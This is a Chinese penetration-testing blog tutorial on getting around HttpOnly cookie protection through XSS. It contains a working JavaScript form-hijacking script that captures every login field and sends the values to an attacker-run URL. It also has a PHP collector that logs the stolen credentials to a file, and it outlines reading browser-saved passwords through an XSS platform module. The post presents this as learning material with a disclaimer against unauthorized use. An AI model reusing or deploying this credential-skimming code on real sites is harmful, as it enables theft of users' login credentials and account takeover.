今天继续给大家介绍渗透测试相关知识,本文主要内容是HTTP Only下的XSS攻击。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、设置HTTP Only后XSS攻击手段
在上文HTTP Only限制XSS盗取cookie中,我们介绍过,如果网站设置了HTTP Only的cookie,那么我们无法通过JavaScript脚本代码获得Cookie。但是XSS获得cookie的实质目的是能够获得用户的凭证登录系统,因此我们从这个思路出发,如果我们能够通过XSS漏洞拿到目标用户的用户名和密码,一样可以得到与获得cookie相同的结果。
我们有两种手段可以实现这一操作。一种是在用户输入用户名和密码时,通过XSS漏洞直接获得用户输入的用户名和密码。这种方式难点在于将XSS脚本代码插入到登录框中,而这种地方一般很少会存在XSS漏洞点。另一种是如果用户将用户名和密码存储在了浏览器中,控制XSS拿到用户在浏览器中的用户名和密码。
接下来,我们就对这两个思路进行验证。
二、表单劫持绕过HTTP Only获取用户名密码
如果我们想用表单劫持绕过HTTP Only,那么我们需要把JavaScript脚本插入到系统登录框中。这当然是一个比较麻烦的事情,因为在通常情况下,系统的登录框没有允许类似留言板这样的可以交互的点。
这一功能当然可以使用一些XSS平台来实现,但是很遗憾的是,我没有找到存在这个功能并且这个功能还使用正常的XSS平台。因此,我不得不手动简单的写了一个JavaScript脚本和PHP脚本,用于展示这个功能。
JavaScript脚本如下所示:
var f=document.forms['【form的name】'];
if(f==undefined)
{
f=document.getElementById('');
}
var func=f.onsubmit;
f.οnsubmit=function(event)
{
var str='';
for(var i=0;i<f.elements.length;i++)
{
str+=f.elements[i].name+':'+f.elements[i].value+'||';
}
str=str.substr(0,str.length-2);
var img=new Image();
img.src='http://【你的PHP文件URL】?data='+escape(str)+'&url='+escape(location.href);
func(event);
return true;
}
在上述脚本中,var f=document.forms[‘【form的name】’];用于获取表单名称,后面的代码用于向指定的ULRL处发送信息。PHP脚本如下所示:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['data'];
$url = $_GET['url'];
$time = gmdate("H:i:s",time()+8*3600);
$file = "output.txt" ;
$fp=fopen ("utput.txt","a") ;
$txt= "$ip"."----"."$time"."----"."$cookie"."----"."$url"."\n";
fputs($fp,$txt);
?>
完成PHP网站搭建后,我们将JavaScript代码插入到登录框页面中,如下所示:
当我们登录后,就可以看到劫持的表单信息了,如下所示:
三、读取浏览器记住的明文密码
除了进行上述表单劫持的方法外,我们还可以读取浏览器记住的明文密码。当前的浏览器一般都有这个功能,当登录系统时,会询问是否记住用户名和密码。这也是为什么我们在登录网站时,浏览器会帮助我们自动的输入这些用户名和密码。然而问题在于,对于有些安全意识比较高的用户来说,如果不开启这项功能,即不让浏览器存储用户名和密码,那么我们就无法使用这种方式。
使用这种方式,我们还是借助XSS平台的相关模块,模块介绍如下所示:
使用这个模块我们要输入要读取的用户名和密码框中的type、name和id三个信息。wordpress网站这三个信息如下所示:
我们根据这三个信息来配置该模块的参数,如下所示:
配置完成后,我们就可以获取登录的用户名和密码了,结果如下所示:
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200